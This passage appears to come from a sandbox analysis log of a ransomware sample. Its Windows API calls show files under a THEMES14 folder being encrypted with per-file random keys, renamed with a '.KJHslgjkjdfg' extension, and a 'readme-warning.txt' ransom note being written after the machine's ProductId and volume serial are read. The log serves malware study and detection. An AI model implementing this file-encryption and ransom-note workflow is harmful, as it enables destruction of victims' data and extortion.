pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.772] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.772] GetProcessHeap () returned 0x990000 [0178.772] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.772] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.772] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.772] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.772] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.773] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.773] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.773] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.773] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.773] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.773] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.773] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa5d5, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xa5d5, lpOverlapped=0x0) returned 1 [0178.774] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa5e0, dwBufLen=0xa5e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa5e0) returned 1 [0178.775] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.775] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa5e0, lpOverlapped=0x0) returned 1 [0178.775] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.775] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.776] SetEndOfFile (hFile=0x12c) returned 1 [0178.779] GetProcessHeap () returned 0x990000 [0178.779] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.779] GetProcessHeap () returned 0x990000 [0178.779] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.788] CloseHandle (hObject=0x12c) returned 1 [0178.788] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0178.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.790] GetProcessHeap () returned 0x990000 [0178.790] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.790] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.790] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.790] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.795] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.796] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.796] GetProcessHeap () returned 0x990000 [0178.796] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.796] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.796] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.796] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.796] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.796] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.796] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.796] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.796] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.796] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.796] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.796] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.797] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x101cc, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x101cc, lpOverlapped=0x0) returned 1 [0178.798] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x101d0, dwBufLen=0x101d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x101d0) returned 1 [0178.799] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.799] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x101d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x101d0, lpOverlapped=0x0) returned 1 [0178.800] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.800] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.800] SetEndOfFile (hFile=0x12c) returned 1 [0178.803] GetProcessHeap () returned 0x990000 [0178.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.803] GetProcessHeap () returned 0x990000 [0178.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.kjhslgjkjdfg")) returned 1 [0178.804] CloseHandle (hObject=0x12c) returned 1 [0178.804] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0178.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.806] GetProcessHeap () returned 0x990000 [0178.806] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.806] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.806] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.806] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0178.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.808] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.808] GetProcessHeap () returned 0x990000 [0178.808] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.808] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.808] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.808] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.808] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.808] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.808] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.808] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.809] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.809] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.809] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1a1, lpOverlapped=0x0) returned 1 [0178.809] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1b0) returned 1 [0178.809] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.809] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1b0, lpOverlapped=0x0) returned 1 [0178.809] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.809] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.809] SetEndOfFile (hFile=0x12c) returned 1 [0178.812] GetProcessHeap () returned 0x990000 [0178.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.812] GetProcessHeap () returned 0x990000 [0178.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.kjhslgjkjdfg")) returned 1 [0178.816] CloseHandle (hObject=0x12c) returned 1 [0178.816] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0178.816] GetProcessHeap () returned 0x990000 [0178.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.816] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.816] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.816] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.816] GetProcessHeap () returned 0x990000 [0178.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.816] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.816] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.816] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.816] GetProcessHeap () returned 0x990000 [0178.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.816] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.816] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.817] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.817] GetProcessHeap () returned 0x990000 [0178.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.817] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.817] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.817] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.817] GetProcessHeap () returned 0x990000 [0178.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.817] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.817] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.817] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.817] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.817] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.817] RegCloseKey (hKey=0x12c) returned 0x0 [0178.817] GetProcessHeap () returned 0x990000 [0178.817] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.817] GetProcessHeap () returned 0x990000 [0178.817] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.818] GetProcessHeap () returned 0x990000 [0178.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.818] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.818] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.818] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.818] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.818] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.818] GetProcessHeap () returned 0x990000 [0178.818] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.818] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.818] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.818] GetProcessHeap () returned 0x990000 [0178.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.818] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\readme-warning.txt") returned 80 [0178.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.825] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.827] CloseHandle (hObject=0x12c) returned 1 [0178.828] GetProcessHeap () returned 0x990000 [0178.828] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.828] GetProcessHeap () returned 0x990000 [0178.828] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.828] GetProcessHeap () returned 0x990000 [0178.828] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.828] GetProcessHeap () returned 0x990000 [0178.828] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.828] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.828] GetProcessHeap () returned 0x990000 [0178.828] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.828] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0178.829] GetProcessHeap () returned 0x990000 [0178.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0178.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.829] GetProcessHeap () returned 0x990000 [0178.829] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.829] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, 